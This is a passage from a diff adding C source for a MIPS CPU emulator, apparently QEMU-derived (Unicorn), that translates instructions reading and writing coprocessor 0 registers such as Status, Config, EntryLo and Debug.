CP0_TagLo)); + rn = "TagLo"; + break; + case 1: + case 3: + case 5: + case 7: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_DataLo)); + rn = "DataLo"; + break; + default: + goto cp0_unimplemented; + } + break; + case 29: + switch (sel) { + case 0: + case 2: + case 4: + case 6: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_TagHi)); + rn = "TagHi"; + break; + case 1: + case 3: + case 5: + case 7: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_DataHi)); + rn = "DataHi"; + break; + default: + goto cp0_unimplemented; + } + break; + case 30: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_ErrorEPC)); + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + rn = "ErrorEPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 31: + switch (sel) { + case 0: + /* EJTAG support */ + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_DESAVE)); + rn = "DESAVE"; + break; + case 2: case 3: case 4: case 5: case 6: case 7: + CP0_CHECK(ctx->kscrexist & (1 << sel)); + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, + offsetof(CPUMIPSState, CP0_KScratch[sel-2])); + tcg_gen_ext32s_tl(tcg_ctx, arg, arg); + rn = "KScratch"; + break; + default: + goto cp0_unimplemented; + } + break; + default: + goto cp0_unimplemented; + } + (void)rn; /* avoid a compiler warning */ + LOG_DISAS("mfc0 %s (reg %d sel %d)\n", rn, reg, sel); + return; + +cp0_unimplemented: + LOG_DISAS("mfc0 %s (reg %d sel %d)\n", rn, reg, sel); + gen_mfc0_unimplemented(ctx, arg); +} + +static void gen_mtc0(DisasContext *ctx, TCGv arg, int reg, int sel) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *rn = "invalid"; + + if (sel != 0) + check_insn(ctx, ISA_MIPS32); + + //if (use_icount) + // gen_io_start(); + + switch (reg) { + case 0: + switch (sel) { + case 0: + gen_helper_mtc0_index(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Index"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_mvpcontrol(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "MVPControl"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + /* ignored */ + rn = "MVPConf0"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + /* ignored */ + rn = "MVPConf1"; + break; + default: + goto cp0_unimplemented; + } + break; + case 1: + switch (sel) { + case 0: + /* ignored */ + rn = "Random"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_vpecontrol(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "VPEControl"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_vpeconf0(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "VPEConf0"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_vpeconf1(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "VPEConf1"; + break; + case 4: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_yqmask(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "YQMask"; + break; + case 5: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mtc0_store64(ctx, arg, offsetof(CPUMIPSState, CP0_VPESchedule)); + rn = "VPESchedule"; + break; + case 6: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mtc0_store64(ctx, arg, offsetof(CPUMIPSState, CP0_VPEScheFBack)); + rn = "VPEScheFBack"; + break; + case 7: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_vpeopt(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "VPEOpt"; + break; + default: + goto cp0_unimplemented; + } + break; + case 2: + switch (sel) { + case 0: + gen_helper_mtc0_entrylo0(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "EntryLo0"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tcstatus(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCStatus"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tcbind(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCBind"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tcrestart(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCRestart"; + break; + case 4: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tchalt(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCHalt"; + break; + case 5: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tccontext(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCContext"; + break; + case 6: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tcschedule(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCSchedule"; + break; + case 7: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mtc0_tcschefback(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TCScheFBack"; + break; + default: + goto cp0_unimplemented; + } + break; + case 3: + switch (sel) { + case 0: + gen_helper_mtc0_entrylo1(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "EntryLo1"; + break; + default: + goto cp0_unimplemented; + } + break; + case 4: + switch (sel) { + case 0: + gen_helper_mtc0_context(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Context"; + break; + case 1: +// gen_helper_mtc0_contextconfig(tcg_ctx->cpu_env, arg); /* SmartMIPS ASE */ + rn = "ContextConfig"; + goto cp0_unimplemented; +// break; + case 2: + CP0_CHECK(ctx->ulri); + tcg_gen_st_tl(tcg_ctx, arg, tcg_ctx->cpu_env, + offsetof(CPUMIPSState, active_tc.CP0_UserLocal)); + rn = "UserLocal"; + break; + default: + goto cp0_unimplemented; + } + break; + case 5: + switch (sel) { + case 0: + gen_helper_mtc0_pagemask(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "PageMask"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_pagegrain(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "PageGrain"; + break; + default: + goto cp0_unimplemented; + } + break; + case 6: + switch (sel) { + case 0: + gen_helper_mtc0_wired(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Wired"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsconf0(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "SRSConf0"; + break; + case 2: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsconf1(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "SRSConf1"; + break; + case 3: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsconf2(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "SRSConf2"; + break; + case 4: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsconf3(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "SRSConf3"; + break; + case 5: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsconf4(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "SRSConf4"; + break; + default: + goto cp0_unimplemented; + } + break; + case 7: + switch (sel) { + case 0: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_hwrena(tcg_ctx, tcg_ctx->cpu_env, arg); + ctx->bstate = BS_STOP; + rn = "HWREna"; + break; + default: + goto cp0_unimplemented; + } + break; + case 8: + switch (sel) { + case 0: + /* ignored */ + rn = "BadVAddr"; + break; + case 1: + /* ignored */ + rn = "BadInstr"; + break; + case 2: + /* ignored */ + rn = "BadInstrP"; + break; + default: + goto cp0_unimplemented; + } + break; + case 9: + switch (sel) { + case 0: + gen_helper_mtc0_count(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Count"; + break; + /* 6,7 are implementation dependent */ + default: + goto cp0_unimplemented; + } + break; + case 10: + switch (sel) { + case 0: + gen_helper_mtc0_entryhi(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "EntryHi"; + break; + default: + goto cp0_unimplemented; + } + break; + case 11: + switch (sel) { + case 0: + gen_helper_mtc0_compare(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Compare"; + break; + /* 6,7 are implementation dependent */ + default: + goto cp0_unimplemented; + } + break; + case 12: + switch (sel) { + case 0: + save_cpu_state(ctx, 1); + gen_helper_mtc0_status(tcg_ctx, tcg_ctx->cpu_env, arg); + /* BS_STOP isn't good enough here, hflags may have changed. */ + gen_save_pc(ctx, ctx->pc + 4); + ctx->bstate = BS_EXCP; + rn = "Status"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_intctl(tcg_ctx, tcg_ctx->cpu_env, arg); + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "IntCtl"; + break; + case 2: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_srsctl(tcg_ctx, tcg_ctx->cpu_env, arg); + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "SRSCtl"; + break; + case 3: + check_insn(ctx, ISA_MIPS32R2); + gen_mtc0_store32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSMap)); + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "SRSMap"; + break; + default: + goto cp0_unimplemented; + } + break; + case 13: + switch (sel) { + case 0: + save_cpu_state(ctx, 1); + gen_helper_mtc0_cause(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Cause"; + break; + default: + goto cp0_unimplemented; + } + break; + case 14: + switch (sel) { + case 0: + gen_mtc0_store64(ctx, arg, offsetof(CPUMIPSState, CP0_EPC)); + rn = "EPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 15: + switch (sel) { + case 0: + /* ignored */ + rn = "PRid"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_helper_mtc0_ebase(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "EBase"; + break; + default: + goto cp0_unimplemented; + } + break; + case 16: + switch (sel) { + case 0: + gen_helper_mtc0_config0(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Config"; + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + case 1: + /* ignored, read only */ + rn = "Config1"; + break; + case 2: + gen_helper_mtc0_config2(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Config2"; + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + case 3: + /* ignored, read only */ + rn = "Config3"; + break; + case 4: + gen_helper_mtc0_config4(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Config4"; + ctx->bstate = BS_STOP; + break; + case 5: + gen_helper_mtc0_config5(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Config5"; + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + /* 6,7 are implementation dependent */ + case 6: + /* ignored */ + rn = "Config6"; + break; + case 7: + /* ignored */ + rn = "Config7"; + break; + default: + rn = "Invalid config selector"; + goto cp0_unimplemented; + } + break; + case 17: + switch (sel) { + case 0: + gen_helper_mtc0_lladdr(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "LLAddr"; + break; + default: + goto cp0_unimplemented; + } + break; + case 18: + switch (sel) { + case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: + gen_helper_0e1i(tcg_ctx, mtc0_watchlo, arg, sel); + rn = "WatchLo"; + break; + default: + goto cp0_unimplemented; + } + break; + case 19: + switch (sel) { + case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: + gen_helper_0e1i(tcg_ctx, mtc0_watchhi, arg, sel); + rn = "WatchHi"; + break; + default: + goto cp0_unimplemented; + } + break; + case 20: + switch (sel) { + case 0: +#if defined(TARGET_MIPS64) + check_insn(ctx, ISA_MIPS3); + gen_helper_mtc0_xcontext(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "XContext"; + break; +#endif + default: + goto cp0_unimplemented; + } + break; + case 21: + /* Officially reserved, but sel 0 is used for R1x000 framemask */ + CP0_CHECK(!(ctx->insn_flags & ISA_MIPS32R6)); + switch (sel) { + case 0: + gen_helper_mtc0_framemask(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Framemask"; + break; + default: + goto cp0_unimplemented; + } + break; + case 22: + /* ignored */ + rn = "Diagnostic"; /* implementation dependent */ + break; + case 23: + switch (sel) { + case 0: + gen_helper_mtc0_debug(tcg_ctx, tcg_ctx->cpu_env, arg); /* EJTAG support */ + /* BS_STOP isn't good enough here, hflags may have changed. */ + gen_save_pc(ctx, ctx->pc + 4); + ctx->bstate = BS_EXCP; + rn = "Debug"; + break; + case 1: +// gen_helper_mtc0_tracecontrol(tcg_ctx->cpu_env, arg); /* PDtrace support */ + rn = "TraceControl"; + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; +// break; + case 2: +// gen_helper_mtc0_tracecontrol2(tcg_ctx->cpu_env, arg); /* PDtrace support */ + rn = "TraceControl2"; + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; +// break; + case 3: + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; +// gen_helper_mtc0_usertracedata(tcg_ctx->cpu_env, arg); /* PDtrace support */ + rn = "UserTraceData"; + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; +// break; + case 4: +// gen_helper_mtc0_tracebpc(tcg_ctx->cpu_env, arg); /* PDtrace support */ + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + rn = "TraceBPC"; +// break; + default: + goto cp0_unimplemented; + } + break; + case 24: + switch (sel) { + case 0: + /* EJTAG support */ + gen_mtc0_store64(ctx, arg, offsetof(CPUMIPSState, CP0_DEPC)); + rn = "DEPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 25: + switch (sel) { + case 0: + gen_helper_mtc0_performance0(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "Performance0"; + break; + case 1: +// gen_helper_mtc0_performance1(arg); + rn = "Performance1"; +// break; + case 2: +// gen_helper_mtc0_performance2(arg); + rn = "Performance2"; +// break; + case 3: +// gen_helper_mtc0_performance3(arg); + rn = "Performance3"; +// break; + case 4: +// gen_helper_mtc0_performance4(arg); + rn = "Performance4"; +// break; + case 5: +// gen_helper_mtc0_performance5(arg); + rn = "Performance5"; +// break; + case 6: +// gen_helper_mtc0_performance6(arg); + rn = "Performance6"; +// break; + case 7: +// gen_helper_mtc0_performance7(arg); + rn = "Performance7"; +// break; + default: + goto cp0_unimplemented; + } + break; + case 26: + /* ignored */ + rn = "ECC"; + break; + case 27: + switch (sel) { + case 0: case 1: case 2: case 3: + /* ignored */ + rn = "CacheErr"; + break; + default: + goto cp0_unimplemented; + } + break; + case 28: + switch (sel) { + case 0: + case 2: + case 4: + case 6: + gen_helper_mtc0_taglo(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TagLo"; + break; + case 1: + case 3: + case 5: + case 7: + gen_helper_mtc0_datalo(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "DataLo"; + break; + default: + goto cp0_unimplemented; + } + break; + case 29: + switch (sel) { + case 0: + case 2: + case 4: + case 6: + gen_helper_mtc0_taghi(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "TagHi"; + break; + case 1: + case 3: + case 5: + case 7: + gen_helper_mtc0_datahi(tcg_ctx, tcg_ctx->cpu_env, arg); + rn = "DataHi"; + break; + default: + rn = "invalid sel"; + goto cp0_unimplemented; + } + break; + case 30: + switch (sel) { + case 0: + gen_mtc0_store64(ctx, arg, offsetof(CPUMIPSState, CP0_ErrorEPC)); + rn = "ErrorEPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 31: + switch (sel) { + case 0: + /* EJTAG support */ + gen_mtc0_store32(ctx, arg, offsetof(CPUMIPSState, CP0_DESAVE)); + rn = "DESAVE"; + break; + case 2: case 3: case 4: case 5: case 6: case 7: + CP0_CHECK(ctx->kscrexist & (1 << sel)); + tcg_gen_st_tl(tcg_ctx, arg, tcg_ctx->cpu_env, + offsetof(CPUMIPSState, CP0_KScratch[sel-2])); + rn = "KScratch"; + break; + default: + goto cp0_unimplemented; + } + /* Stop translation as we may have switched the execution mode */ + ctx->bstate = BS_STOP; + break; + default: + goto cp0_unimplemented; + } + (void)rn; /* avoid a compiler warning */ + LOG_DISAS("mtc0 %s (reg %d sel %d)\n", rn, reg, sel); + /* For simplicity assume that all writes can cause interrupts. */ + //if (use_icount) { + // gen_io_end(); + // ctx->bstate = BS_STOP; + //} + return; + +cp0_unimplemented: + LOG_DISAS("mtc0 %s (reg %d sel %d)\n", rn, reg, sel); +} + +#if defined(TARGET_MIPS64) +static void gen_dmfc0(DisasContext *ctx, TCGv arg, int reg, int sel) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *rn = "invalid"; + + if (sel != 0) + check_insn(ctx, ISA_MIPS64); + + switch (reg) { + case 0: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Index)); + rn = "Index"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_mvpcontrol(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "MVPControl"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_mvpconf0(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "MVPConf0"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_mvpconf1(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "MVPConf1"; + break; + default: + goto cp0_unimplemented; + } + break; + case 1: + switch (sel) { + case 0: + CP0_CHECK(!(ctx->insn_flags & ISA_MIPS32R6)); + gen_helper_mfc0_random(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "Random"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_VPEControl)); + rn = "VPEControl"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_VPEConf0)); + rn = "VPEConf0"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_VPEConf1)); + rn = "VPEConf1"; + break; + case 4: + CP0_CHECK(ctx->insn_flags & ASE_MT); + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_YQMask)); + rn = "YQMask"; + break; + case 5: + CP0_CHECK(ctx->insn_flags & ASE_MT); + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_VPESchedule)); + rn = "VPESchedule"; + break; + case 6: + CP0_CHECK(ctx->insn_flags & ASE_MT); + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_VPEScheFBack)); + rn = "VPEScheFBack"; + break; + case 7: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_VPEOpt)); + rn = "VPEOpt"; + break; + default: + goto cp0_unimplemented; + } + break; + case 2: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_EntryLo0)); + rn = "EntryLo0"; + break; + case 1: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_tcstatus(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCStatus"; + break; + case 2: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_mfc0_tcbind(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCBind"; + break; + case 3: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_dmfc0_tcrestart(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCRestart"; + break; + case 4: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_dmfc0_tchalt(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCHalt"; + break; + case 5: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_dmfc0_tccontext(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCContext"; + break; + case 6: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_dmfc0_tcschedule(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCSchedule"; + break; + case 7: + CP0_CHECK(ctx->insn_flags & ASE_MT); + gen_helper_dmfc0_tcschefback(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "TCScheFBack"; + break; + default: + goto cp0_unimplemented; + } + break; + case 3: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_EntryLo1)); + rn = "EntryLo1"; + break; + default: + goto cp0_unimplemented; + } + break; + case 4: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_Context)); + rn = "Context"; + break; + case 1: +// gen_helper_dmfc0_contextconfig(arg); /* SmartMIPS ASE */ + rn = "ContextConfig"; + goto cp0_unimplemented; +// break; + case 2: + CP0_CHECK(ctx->ulri); + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, + offsetof(CPUMIPSState, active_tc.CP0_UserLocal)); + rn = "UserLocal"; + break; + default: + goto cp0_unimplemented; + } + break; + case 5: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_PageMask)); + rn = "PageMask"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_PageGrain)); + rn = "PageGrain"; + break; + default: + goto cp0_unimplemented; + } + break; + case 6: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Wired)); + rn = "Wired"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSConf0)); + rn = "SRSConf0"; + break; + case 2: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSConf1)); + rn = "SRSConf1"; + break; + case 3: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSConf2)); + rn = "SRSConf2"; + break; + case 4: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSConf3)); + rn = "SRSConf3"; + break; + case 5: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSConf4)); + rn = "SRSConf4"; + break; + default: + goto cp0_unimplemented; + } + break; + case 7: + switch (sel) { + case 0: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_HWREna)); + rn = "HWREna"; + break; + default: + goto cp0_unimplemented; + } + break; + case 8: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_BadVAddr)); + rn = "BadVAddr"; + break; + case 1: + CP0_CHECK(ctx->bi); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_BadInstr)); + rn = "BadInstr"; + break; + case 2: + CP0_CHECK(ctx->bp); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_BadInstrP)); + rn = "BadInstrP"; + break; + default: + goto cp0_unimplemented; + } + break; + case 9: + switch (sel) { + case 0: + /* Mark as an IO operation because we read the time. */ + //if (use_icount) + // gen_io_start(); + gen_helper_mfc0_count(tcg_ctx, arg, tcg_ctx->cpu_env); + //if (use_icount) { + // gen_io_end(); + //} + /* Break the TB to be able to take timer interrupts immediately + after reading count. */ + ctx->bstate = BS_STOP; + rn = "Count"; + break; + /* 6,7 are implementation dependent */ + default: + goto cp0_unimplemented; + } + break; + case 10: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_EntryHi)); + rn = "EntryHi"; + break; + default: + goto cp0_unimplemented; + } + break; + case 11: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Compare)); + rn = "Compare"; + break; + /* 6,7 are implementation dependent */ + default: + goto cp0_unimplemented; + } + break; + case 12: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Status)); + rn = "Status"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_IntCtl)); + rn = "IntCtl"; + break; + case 2: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSCtl)); + rn = "SRSCtl"; + break; + case 3: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_SRSMap)); + rn = "SRSMap"; + break; + default: + goto cp0_unimplemented; + } + break; + case 13: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Cause)); + rn = "Cause"; + break; + default: + goto cp0_unimplemented; + } + break; + case 14: + switch (sel) { + case 0: + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_EPC)); + rn = "EPC"; + break; + default: + goto cp0_unimplemented; + } + break; + case 15: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_PRid)); + rn = "PRid"; + break; + case 1: + check_insn(ctx, ISA_MIPS32R2); + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_EBase)); + rn = "EBase"; + break; + default: + goto cp0_unimplemented; + } + break; + case 16: + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config0)); + rn = "Config"; + break; + case 1: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config1)); + rn = "Config1"; + break; + case 2: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config2)); + rn = "Config2"; + break; + case 3: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config3)); + rn = "Config3"; + break; + case 4: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config4)); + rn = "Config4"; + break; + case 5: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config5)); + rn = "Config5"; + break; + /* 6,7 are implementation dependent */ + case 6: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config6)); + rn = "Config6"; + break; + case 7: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Config7)); + rn = "Config7"; + break; + default: + goto cp0_unimplemented; + } + break; + case 17: + switch (sel) { + case 0: + gen_helper_dmfc0_lladdr(tcg_ctx, arg, tcg_ctx->cpu_env); + rn = "LLAddr"; + break; + default: + goto cp0_unimplemented; + } + break; + case 18: + switch (sel) { + case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: + gen_helper_1e0i(tcg_ctx, dmfc0_watchlo, arg, sel); + rn = "WatchLo"; + break; + default: + goto cp0_unimplemented; + } + break; + case 19: + switch (sel) { + case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: + gen_helper_1e0i(tcg_ctx, mfc0_watchhi, arg, sel); + rn = "WatchHi"; + break; + default: + goto cp0_unimplemented; + } + break; + case 20: + switch (sel) { + case 0: + check_insn(ctx, ISA_MIPS3); + tcg_gen_ld_tl(tcg_ctx, arg, tcg_ctx->cpu_env, offsetof(CPUMIPSState, CP0_XContext)); + rn = "XContext"; + break; + default: + goto cp0_unimplemented; + } + break; + case 21: + /* Officially reserved, but sel 0 is used for R1x000 framemask */ + CP0_CHECK(!(ctx->insn_flags & ISA_MIPS32R6)); + switch (sel) { + case 0: + gen_mfc0_load32(ctx, arg, offsetof(CPUMIPSState, CP0_Framemask)); + rn = "Framemask"; + break; + default: + goto cp0_unimplemented; + } + break; + case 22: + tcg_gen_movi_tl(tcg_ctx, arg, 0); /* unimplemented */ + rn = "'Diagnostic"; /* implementation dependent */ + break; + case 23: + switch (sel) { + case 0: + gen_helper_mfc0_debug(tcg_ctx, arg, tcg_ctx->cpu_env); /* EJTAG support */ + rn = "Debug"; + break; + case 1: +// gen_helper_dmfc0_tracecontrol(arg, tcg_ctx->cpu_env); /* PDtrace support */ + rn = "TraceControl"; +// break; + case 2: +// gen_helper_dmfc0_tracecontrol2(arg, tcg_ctx->cpu_env); /* PDtrace support */ + rn = "TraceControl2"; +// break; + case 3: +// gen_helper_dmfc0_usertracedata(arg, tcg_ctx->cpu_env); /* PDtrace support */ + rn = "UserTraceData"; +// break; + case 4: +// 